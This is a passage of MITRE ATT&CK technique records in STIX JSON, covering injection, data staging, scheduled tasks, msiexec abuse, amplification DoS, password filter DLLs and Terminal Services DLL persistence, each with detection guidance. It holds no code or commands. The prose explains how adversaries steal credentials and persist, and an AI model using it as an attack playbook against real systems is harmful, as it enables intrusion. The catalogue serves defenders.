Injection)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Thomas B","Ivy Drexel"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Module: Module Load","File: File Creation","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8","created":"2024-03-28T15:36:34.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/014","external_id":"T1574.014"},{"source_name":"PenTestLabs AppDomainManagerInject","description":"Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024.","url":"https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/"},{"source_name":"Microsoft App Domains","description":"Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024.","url":"https://learn.microsoft.com/dotnet/framework/app-domains/application-domains"},{"source_name":"PwC Yellow Liderc","description":"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.","url":"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html"},{"source_name":"Rapid7 AppDomain Manager Injection","description":"Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.","url":"https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-30T13:28:37.414Z","name":"Remote Data Staging","description":"Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","created":"2020-03-13T21:14:58.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1074/002","external_id":"T1074.002"},{"source_name":"Mandiant M-Trends 2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-16T17:51:35.865Z","name":"Additional Container Cluster Roles","description":"An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.0","x_mitre_data_sources":["User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64","created":"2023-07-14T14:01:50.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/006","external_id":"T1098.006"},{"source_name":"AWS EKS IAM Roles for Service Accounts","description":"Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023.","url":"https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"},{"source_name":"Google Cloud Kubernetes IAM","description":"Google Cloud. (n.d.). Create IAM policies. Retrieved July 14, 2023.","url":"https://cloud.google.com/kubernetes-engine/docs/how-to/iam"},{"source_name":"Kuberentes ABAC","description":"Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023.","url":"https://kubernetes.io/docs/reference/access-authn-authz/abac/"},{"source_name":"Kubernetes RBAC","description":"Kubernetes. (n.d.). Role Based Access Control Good Practices. Retrieved March 8, 2023.","url":"https://kubernetes.io/docs/concepts/security/rbac-good-practices/"},{"source_name":"Aquasec Kubernetes Attack 2023","description":"Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.","url":"https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"},{"source_name":"Microsoft Azure Kubernetes Service Service Accounts","description":"Microsoft Azure. (2023, April 28). Access and identity options for Azure Kubernetes Service (AKS). Retrieved July 14, 2023.","url":"https://learn.microsoft.com/en-us/azure/aks/concepts-identity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:14:03.453Z","name":"Scheduled Task/Job","description":"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Prashant Verma, Paladion","Leo Loobeek, @leoloobeek","Travis Smith, Tripwire","Alain Homewood, Insomnia Security","Andrew Northern, @ex_raritas","Bryan Campbell, @bry_campbell","Zachary Abzug, @ZackDoesML","Selena Larson, @selenalarson"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","Containers"],"x_mitre_version":"2.3","x_mitre_data_sources":["Scheduled Job: Scheduled Job Creation","File: File Creation","Process: Process Creation","Container: Container Creation","Command: Command Execution","File: File Modification"],"x_mitre_effective_permissions":["SYSTEM","Administrator","User"],"x_mitre_permissions_required":["Administrator","SYSTEM","User"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","created":"2017-05-31T21:30:46.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053","external_id":"T1053"},{"source_name":"ProofPoint Serpent","description":"Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"},{"source_name":"TechNet Task Scheduler Security","description":"Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.","url":"https://technet.microsoft.com/en-us/library/cc785125.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ziv Kaspersky, Cymptom","Alexandros Pappas"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","created":"2020-01-24T14:38:49.266Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1218.007","url":"https://attack.mitre.org/techniques/T1218/007"},{"source_name":"TrendMicro Msiexec Feb 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/","description":"Co, M. and Sison, G. (2018, February 8). Attack Using Windows Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019."},{"source_name":"LOLBAS Msiexec","url":"https://lolbas-project.github.io/lolbas/Binaries/Msiexec/","description":"LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019."},{"source_name":"Microsoft msiexec","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec","description":"Microsoft. (2017, October 15). msiexec. Retrieved January 24, 2020."},{"source_name":"Microsoft AlwaysInstallElevated 2018","url":"https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated","description":"Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December 14, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)","modified":"2022-04-19T17:33:16.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Msiexec","x_mitre_detection":"Use process monitoring to monitor the execution and arguments of msiexec.exe. Compare recent invocations of msiexec.exe with prior history of known good arguments and executed MSI files or DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of msiexec.exe may also be useful in determining the origin and purpose of the MSI files or DLLs being executed.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Module: Module Load","Network Traffic: Network Connection Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1162","url":"https://attack.mitre.org/techniques/T1162"},{"source_name":"Adding Login Items","url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html","description":"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"Malware Persistence on OS X","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."},{"source_name":"OSX.Dok Malware","url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."},{"url":"https://capec.mitre.org/data/definitions/564.html","source_name":"capec","external_id":"CAPEC-564"}],"x_mitre_deprecated":false,"revoked":true,"description":"MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).","modified":"2022-04-22T18:50:50.483Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Login Item","x_mitre_detection":"All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e","type":"attack-pattern","created":"2020-10-02T15:47:59.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.003","url":"https://attack.mitre.org/techniques/T1590/003"},{"source_name":"Pentesting AD Forests","url":"https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019","description":"García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:34:22.917Z","name":"Network Trust Dependencies","description":"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:04:34.495Z","name":"Reflection Amplification","description":"Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Sensor Health: Host Status","Network Traffic: Network Traffic Flow"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01","created":"2020-03-02T20:08:03.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1498/002","external_id":"T1498.002"},{"source_name":"Cisco DoSdetectNetflow","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"},{"source_name":"Cloudflare DNSamplficationDoS","description":"Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.","url":"https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"},{"source_name":"Cloudflare NTPamplifciationDoS","description":"Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.","url":"https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"},{"source_name":"Cloudflare ReflectionDoS May 2017","description":"Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.","url":"https://blog.cloudflare.com/reflections-on-reflections/"},{"source_name":"Cloudflare Memcrashed Feb 2018","description":"Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.","url":"https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"},{"source_name":"Arbor AnnualDoSreport Jan 2018","description":"Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.","url":"https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-21T16:16:18.271Z","name":"Password Filter DLL","description":"Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Vincent Le Toux"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","File: File Creation","Module: Module Load"],"type":"attack-pattern","id":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","created":"2020-02-11T19:05:45.829Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/002","external_id":"T1556.002"},{"source_name":"Clymb3r Function Hook Passwords Sept 2013","description":"Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.","url":"https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"},{"source_name":"Carnal Ownage Password Filters Sept 2013","description":"Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.","url":"http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:40:42.810Z","name":"Terminal Services DLL","description":"Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\.\n\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\System32\\.\n\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\n\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\System32\\termsrv.dll, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.0","x_mitre_data_sources":["Module: Module Load","Command: Command Execution","File: File Modification","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8","created":"2022-03-28T15:34:44.590Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1505/005","external_id":"T1505.005"},{"source_name":"James TermServ DLL","description":"James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.","url":"https://x.com/james_inthe_box/status/1150495335812177920"},{"source_name":"Microsoft System Services Fundamentals","description":"Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.","url":"https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"},{"source_name":"Microsoft Remote Desktop Services","description":"Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.","url":"https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"},{"source_name":"RDPWrap Github","description":"Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.","url":"https://github.com/stascorp/rdpwrap"},{"source_name":"Windows OS Hub RDP","description":"Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved 